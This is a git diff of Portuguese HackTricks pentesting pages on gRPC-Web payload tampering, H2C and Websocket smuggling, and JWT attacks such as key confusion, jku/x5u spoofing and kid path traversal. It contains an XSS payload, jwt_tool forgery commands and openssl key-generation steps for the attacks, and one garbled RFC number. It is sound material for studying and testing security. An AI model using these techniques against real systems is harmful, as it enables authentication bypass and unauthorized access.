* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,51 +1,53 @@
# Pentesting gRPC-Web
# Teste de invasão gRPC-Web
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## **Manipulando Payloads gRPC-Web**
gRPC-Web usa Content-Type: `application/grpc-web-text` em requisições, que é uma espécie de protobuf em forma codificada em base64, você pode usar a ferramenta [gprc-coder](https://github.com/nxenon/grpc-pentest-suite), e também pode instalar sua [Extensão do Burp Suite](https://github.com/nxenon/grpc-pentest-suite).
## **Manipulando Cargas Úteis gRPC-Web**
gRPC-Web usa Content-Type: `application/grpc-web-text` em solicitações que são uma forma de protobuf codificada em base64, você pode usar a ferramenta [gprc-coder](https://github.com/nxenon/grpc-pentest-suite), e também pode instalar sua [Extensão Burp Suite](https://github.com/nxenon/grpc-pentest-suite).
### **Manual com a Ferramenta gGRPC Coder**
1. Primeiro decodifique o payload:
1. Primeiro, decodifique a carga útil:
```bash
echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
```
2. Edite o conteúdo do payload decodificado
2. Edite o conteúdo da carga útil decodificada
```
nano out.txt
2: {"Amin Nasiri Xenon GRPC"}
3: 54
7: {"<script>alert(origin)</script>"}
```
3. Codifique o novo payload
3. Codificar o novo payload
```bash
protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
```
4. Utilize a saída no interceptador Burp:
4. Utilize a saída no interceptor do Burp:
```
AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+
```
### **Manual com a Extensão gRPC-Web Coder para Burp Suite**
Você pode usar a Extensão gRPC-Web Coder para Burp Suite no [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite), o que é mais fácil. Você pode ler as instruções de instalação e uso no repositório.
### **Manual com Extensão Burp Suite do Coder gRPC-Web**
Você pode usar a Extensão Burp Suite do Coder gRPC-Web no [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) o que é mais fácil. Você pode ler as instruções de instalação e uso no repositório.
## **Analisando Arquivos Javascript gRPC-Web**
## **Analisando Arquivos Javascript do gRPC-Web**
Há pelo menos um arquivo Javascript em cada aplicação gRPC-Web. Você pode analisar o arquivo para encontrar novas mensagens, endpoints e serviços. Tente usar a ferramenta [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite).
1. Baixe o Arquivo Javascript gRPC-Web
2. Escaneie-o com grpc-scan.py:
2. Escaneie com grpc-scan.py:
```bash
python3 grpc-scan.py --file main.js
```
3. Analise a saída e teste os novos endpoints e novos serviços:
3. Analisar a saída e testar os novos endpoints e novos serviços:
```
Output:
Found Endpoints:
@ -144,12 +146,14 @@ grpc.gateway.testing.ClientStreamingEchoResponse:
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o repositório** [**hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -7,10 +7,10 @@
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Obtenha [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -24,9 +24,9 @@ Encontre vulnerabilidades que mais importam para que você possa corrigi-las mai
## Smuggling H2C <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
### HTTP2 Sobre Texto Não Criptografado (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
### HTTP2 Sobre Texto Puro (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
H2C, ou **http2 sobre texto não criptografado**, se desvia da norma de conexões HTTP transitórias, atualizando uma conexão HTTP padrão para uma persistente. Essa conexão atualizada utiliza o protocolo binário http2 para comunicação contínua, em oposição à natureza de única solicitação do HTTP em texto simples.
H2C, ou **http2 sobre texto puro**, se desvia da norma de conexões HTTP transitórias, atualizando uma conexão HTTP padrão para uma persistente. Essa conexão atualizada utiliza o protocolo binário http2 para comunicação contínua, em oposição à natureza de única solicitação do HTTP em texto simples.
A essência do problema de smuggling surge com o uso de um **proxy reverso**. Normalmente, o proxy reverso processa e encaminha solicitações HTTP para o backend, retornando a resposta do backend depois disso. No entanto, quando o cabeçalho `Connection: Upgrade` está presente em uma solicitação HTTP (comumente visto com conexões websocket), o **proxy reverso mantém uma conexão persistente** entre cliente e servidor, facilitando a troca contínua necessária por certos protocolos. Para conexões H2C, a conformidade com o RFC exige a presença de três cabeçalhos específicos:
```
@ -34,7 +34,7 @@ Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
```
A vulnerabilidade surge quando, após a atualização de uma conexão, o proxy reverso deixa de gerenciar solicitações individuais, assumindo que seu trabalho de roteamento está completo após o estabelecimento da conexão. A exploração do H2C Smuggling permite a circunvenção das regras do proxy reverso aplicadas durante o processamento da solicitação, como roteamento baseado em caminho, autenticação e processamento de WAF, assumindo que uma conexão H2C seja iniciada com sucesso.
A vulnerabilidade surge quando, após a atualização de uma conexão, o proxy reverso deixa de gerenciar solicitações individuais, assumindo que seu trabalho de roteamento está completo após o estabelecimento da conexão. A exploração do H2C Smuggling permite contornar as regras do proxy reverso aplicadas durante o processamento da solicitação, como roteamento baseado em caminho, autenticação e processamento de WAF, assumindo que uma conexão H2C seja iniciada com sucesso.
### Proxies Vulneráveis <a href="#exploitation" id="exploitation"></a>
@ -57,25 +57,25 @@ Por outro lado, esses serviços não encaminham esses cabeçalhos durante o prox
### Exploração <a href="#exploitation" id="exploitation"></a>
É crucial observar que nem todos os servidores encaminham os cabeçalhos necessários para uma atualização de conexão H2C compatível. Portanto, servidores como AWS ALB/CLB, NGINX e Apache Traffic Server, entre outros, naturalmente bloqueiam conexões H2C. No entanto, vale a pena testar com a variante não compatível `Connection: Upgrade`, que exclui o valor `HTTP2-Settings` do cabeçalho `Connection`, pois alguns backends podem não estar em conformidade com os padrões.
É crucial observar que nem todos os servidores encaminham os cabeçalhos necessários para uma atualização de conexão H2C compatível. Como tal, servidores como AWS ALB/CLB, NGINX e Apache Traffic Server, entre outros, naturalmente bloqueiam conexões H2C. No entanto, vale a pena testar com a variante não compatível `Connection: Upgrade`, que exclui o valor `HTTP2-Settings` do cabeçalho `Connection`, pois alguns backends podem não estar em conformidade com os padrões.
{% hint style="danger" %}
Independentemente do **caminho** específico designado na URL `proxy_pass` (por exemplo, `http://backend:9999/socket.io`), a conexão estabelecida é padrão para `http://backend:9999`. Isso permite a interação com qualquer caminho dentro desse endpoint interno, aproveitando essa técnica. Portanto, a especificação de um caminho na URL `proxy_pass` não restringe o acesso.
Independentemente do **caminho** específico designado na URL `proxy_pass` (por exemplo, `http://backend:9999/socket.io`), a conexão estabelecida é padrão para `http://backend:9999`. Isso permite interagir com qualquer caminho dentro desse endpoint interno, aproveitando essa técnica. Consequentemente, a especificação de um caminho na URL `proxy_pass` não restringe o acesso.
{% endhint %}
As ferramentas [**h2csmuggler da BishopFox**](https://github.com/BishopFox/h2csmuggler) e [**h2csmuggler da assetnote**](https://github.com/assetnote/h2csmuggler) facilitam as tentativas de **circunvenção de proteções impostas pelo proxy** ao estabelecer uma conexão H2C, permitindo assim o acesso a recursos protegidos pelo proxy.
As ferramentas [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) e [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler) facilitam as tentativas de **contornar as proteções impostas pelo proxy** ao estabelecer uma conexão H2C, permitindo assim o acesso a recursos protegidos pelo proxy.
Para obter informações adicionais sobre essa vulnerabilidade, especialmente em relação ao NGINX, consulte [**este recurso detalhado**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).
# Websocket Smuggling
O Websocket smuggling, ao contrário da criação de um túnel HTTP2 para um endpoint acessível por meio de um proxy, estabelece um túnel Websocket para contornar possíveis limitações do proxy e facilitar a comunicação direta com o endpoint.
O Websocket smuggling, ao contrário de criar um túnel HTTP2 para um endpoint acessível por meio de um proxy, estabelece um túnel Websocket para contornar possíveis limitações do proxy e facilitar a comunicação direta com o endpoint.
## Cenário 1
Neste cenário, um backend que oferece uma API Websocket pública ao lado de uma API REST interna inacessível é alvo de um cliente malicioso em busca de acesso à API REST interna. O ataque se desenrola em várias etapas:
1. O cliente inicia enviando uma solicitação de Upgrade para o proxy reverso com uma versão de protocolo `Sec-WebSocket-Version` incorreta no cabeçalho. O proxy, falhando em validar o cabeçalho `Sec-WebSocket-Version`, considera a solicitação de Upgrade válida e a encaminha para o backend.
1. O cliente inicia enviando uma solicitação de Upgrade para o proxy reverso com uma versão de protocolo `Sec-WebSocket-Version` incorreta no cabeçalho. O proxy, falhando em validar o cabeçalho `Sec-WebSocket-Version`, acredita que a solicitação de Upgrade é válida e a encaminha para o backend.
2. O backend responde com um código de status `426`, indicando a versão de protocolo incorreta no cabeçalho `Sec-WebSocket-Version`. O proxy reverso, ignorando o status de resposta do backend, assume prontidão para a comunicação Websocket e repassa a resposta ao cliente.
3. Consequentemente, o proxy reverso é enganado a acreditar que uma conexão Websocket foi estabelecida entre o cliente e o backend, enquanto na realidade, o backend rejeitou a solicitação de Upgrade. Apesar disso, o proxy mantém uma conexão TCP ou TLS aberta entre o cliente e o backend, permitindo ao cliente acesso irrestrito à API REST privada por meio dessa conexão.
@ -98,7 +98,7 @@ Por fim, o NGINX é enganado a acreditar que uma conexão Websocket existe entre
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
A maioria dos proxies reversos é vulnerável a esse cenário, mas a exploração depende da presença de uma vulnerabilidade externa SSRF, geralmente considerada um problema de baixa gravidade.
A maioria dos proxies reversos é vulnerável a esse cenário, mas a exploração depende da presença de uma vulnerabilidade externa de SSRF, geralmente considerada um problema de baixa gravidade.
### Laboratórios
@ -119,14 +119,14 @@ Encontre vulnerabilidades que mais importam para que você possa corrigi-las mai
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** Twitter 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas dicas de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -4,19 +4,19 @@
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
![](<../.gitbook/assets/image (638) (3).png>)
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma de **recompensas por bugs premium criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma de **recompensas por bugs premium criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -25,13 +25,13 @@ Outras formas de apoiar o HackTricks:
### **Ganhos Rápidos**
Execute o [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) com o modo `All Tests!` e aguarde as linhas verdes
Execute [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) com o modo `All Tests!` e aguarde as linhas verdes
```bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
Se tiver sorte, a ferramenta encontrará algum caso em que a aplicação web esteja verificando incorretamente o JWT:
Se tiver sorte, a ferramenta encontrará algum caso em que a aplicação web não está verificando corretamente o JWT:
![](<../.gitbook/assets/image (435).png>)
@ -49,14 +49,14 @@ Para verificar se a assinatura de um JWT está sendo verificada:
- Uma mensagem de erro sugere verificação em andamento; detalhes sensíveis em erros verbosos devem ser revisados.
- Uma mudança na página retornada também indica verificação.
- Nenhuma mudança sugere nenhuma verificação; é nesse momento que se deve experimentar manipular as reivindicações de carga útil.
- Nenhuma mudança sugere nenhuma verificação; é nesse momento que se deve experimentar manipular as reivindicações do payload.
### Origem
É importante determinar se o token foi gerado no lado do servidor ou no lado do cliente examinando o histórico de solicitações do proxy.
- Tokens vistos pela primeira vez do lado do cliente sugerem que a chave pode estar exposta ao código do lado do cliente, exigindo investigação adicional.
- Tokens originados no lado do servidor indicam um processo seguro.
- Tokens originados do lado do servidor indicam um processo seguro.
### Duração
@ -84,7 +84,7 @@ Em seguida, usando a chave pública e alterando RS256 para HS256, poderíamos cr
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### Nova chave pública dentro do cabeçalho
### Novo chave pública dentro do cabeçalho
Um atacante incorpora uma nova chave no cabeçalho do token e o servidor utiliza essa nova chave para verificar a assinatura (CVE-2018-0114).
@ -93,15 +93,15 @@ Isso pode ser feito com a extensão "JSON Web Tokens" do Burp.\
### Falsificação de JWKS
As instruções detalham um método para avaliar a segurança de tokens JWT, especialmente aqueles que empregam uma declaração de cabeçalho "jku". Esta declaração deve se vincular a um arquivo JWKS (JSON Web Key Set) que contenha a chave pública necessária para a verificação do token.
As instruções detalham um método para avaliar a segurança de tokens JWT, especialmente aqueles que empregam um cabeçalho de reivindicação "jku". Essa reivindicação deve se vincular a um arquivo JWKS (JSON Web Key Set) que contenha a chave pública necessária para a verificação do token.
- **Avaliando Tokens com Cabeçalho "jku"**:
- Verifique a URL da declaração "jku" para garantir que ela leve ao arquivo JWKS apropriado.
- Verifique a URL da reivindicação "jku" para garantir que ela leve ao arquivo JWKS apropriado.
- Modifique o valor "jku" do token para direcionar para um serviço web controlado, permitindo a observação do tráfego.
- **Monitorando a Interação HTTP**:
- Observar as solicitações HTTP para a URL especificada indica as tentativas do servidor de buscar chaves a partir do link fornecido.
- Ao utilizar `jwt_tool` para este processo, é crucial atualizar o arquivo `jwtconf.ini` com a localização do seu JWKS pessoal para facilitar os testes.
- Ao utilizar `jwt_tool` para esse processo, é crucial atualizar o arquivo `jwtconf.ini` com a localização do seu JWKS pessoal para facilitar os testes.
- **Comando para `jwt_tool`**:
- Execute o seguinte comando para simular o cenário com `jwt_tool`:
@ -111,15 +111,15 @@ python3 jwt_tool.py JWT_AQUI -X s
### Visão Geral de Problemas com "Kid"
Uma declaração de cabeçalho opcional conhecida como `kid` é utilizada para identificar uma chave específica, o que se torna particularmente vital em ambientes onde múltiplas chaves existem para a verificação da assinatura do token. Esta declaração auxilia na seleção da chave apropriada para verificar a assinatura de um token.
Uma reivindicação de cabeçalho opcional conhecida como `kid` é utilizada para identificar uma chave específica, o que se torna particularmente vital em ambientes onde múltiplas chaves existem para verificação da assinatura do token. Essa reivindicação auxilia na seleção da chave apropriada para verificar a assinatura de um token.
#### Revelando Chave através de "kid"
Quando a declaração `kid` está presente no cabeçalho, é aconselhável pesquisar o diretório da web pelo arquivo correspondente ou suas variações. Por exemplo, se `"kid":"chave/12345"` for especificado, os arquivos _/chave/12345_ e _/chave/12345.pem_ devem ser procurados na raiz da web.
Quando a reivindicação `kid` está presente no cabeçalho, é aconselhável pesquisar o diretório da web pelo arquivo correspondente ou suas variações. Por exemplo, se `"kid":"chave/12345"` for especificado, os arquivos _/chave/12345_ e _/chave/12345.pem_ devem ser procurados na raiz da web.
#### Traversing de Caminho com "kid"
#### Traversão de Caminho com "kid"
A declaração `kid` também pode ser explorada para navegar pelo sistema de arquivos, potencialmente permitindo a seleção de um arquivo arbitrário. É viável testar a conectividade ou executar ataques de Solicitação de Servidor-Side Forgery (SSRF) alterando o valor `kid` para direcionar arquivos ou serviços específicos. Manipular o JWT para alterar o valor `kid` mantendo a assinatura original pode ser alcançado usando a bandeira `-T` no jwt_tool, conforme demonstrado abaixo:
A reivindicação `kid` também pode ser explorada para navegar pelo sistema de arquivos, potencialmente permitindo a seleção de um arquivo arbitrário. É viável testar a conectividade ou executar ataques de Solicitação de Servidor-Side (SSRF) alterando o valor `kid` para direcionar arquivos ou serviços específicos. Manipular o JWT para alterar o valor `kid` mantendo a assinatura original pode ser alcançado usando a bandeira `-T` no jwt_tool, conforme demonstrado abaixo:
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
@ -152,7 +152,7 @@ openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves públicas e privadas criadas e apontando o parâmetro jku para o certificado criado.** Para criar um certificado jku válido, você pode baixar o original e alterar os parâmetros necessários.
Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves pública e privada criadas e apontando o parâmetro jku para o certificado criado.** Para criar um certificado jku válido, você pode baixar o original e alterar os parâmetros necessários.
Você pode obter os parâmetros "e" e "n" de um certificado público usando:
```bash
@ -165,7 +165,7 @@ print("e:", hex(key.e))
```
#### x5u
X.509 URL. Um URI apontando para um conjunto de certificados públicos X.509 (um padrão de formato de certificado) codificados em forma PEM. O primeiro certificado no conjunto deve ser aquele usado para assinar este JWT. Os certificados subsequentes assinam cada um o anterior, completando assim a cadeia de certificados. X.509 é definido no RFC 5280. A segurança de transporte é necessária para transferir os certificados.
X.509 URL. Um URI apontando para um conjunto de certificados públicos X.509 (um padrão de formato de certificado) codificados em forma PEM. O primeiro certificado no conjunto deve ser aquele usado para assinar este JWT. Os certificados subsequentes assinam cada um o anterior, completando assim a cadeia de certificados. X.509 é definido no RFC 52807. A segurança de transporte é necessária para transferir os certificados.
Tente **alterar este cabeçalho para um URL sob seu controle** e verifique se alguma solicitação é recebida. Nesse caso, você **poderia adulterar o JWT**.
@ -174,7 +174,7 @@ Para forjar um novo token usando um certificado controlado por você, é necess
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves pública e privada criadas e apontando o parâmetro x5u para o certificado .crt criado**.
Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves públicas e privadas criadas e apontando o parâmetro x5u para o certificado .crt criado**.
![](<../.gitbook/assets/image (439).png>)
@ -197,7 +197,7 @@ Se o JWT tiver incorporada uma chave pública como no seguinte cenário:
![](<../.gitbook/assets/image (438).png>)
Usando o seguinte script nodejs, é possível gerar uma chave pública a partir desses dados:
Usando o seguinte script nodejs é possível gerar uma chave pública a partir desses dados:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
@ -244,7 +244,7 @@ Foi observado que algumas aplicações web dependem de um serviço JWT confiáve
**Verificação de Expiração de Tokens**
A expiração do token é verificada usando a reivindicação de Payload "exp". Dado que os JWTs são frequentemente empregados sem informações de sessão, é necessária uma manipulação cuidadosa. Em muitas instâncias, capturar e reproduzir o JWT de outro usuário poderia permitir a impersonificação desse usuário. O RFC do JWT recomenda mitigar ataques de reprodução de JWT utilizando a reivindicação "exp" para definir um tempo de expiração para o token. Além disso, a implementação de verificações relevantes pela aplicação para garantir o processamento desse valor e a rejeição de tokens expirados é crucial. Se o token incluir uma reivindicação "exp" e os limites de tempo de teste permitirem, armazenar o token e reproduzi-lo após o tempo de expiração ter passado é aconselhável. O conteúdo do token, incluindo a análise de timestamp e verificação de expiração (timestamp em UTC), pode ser lido usando a flag -R da ferramenta jwt_tool.
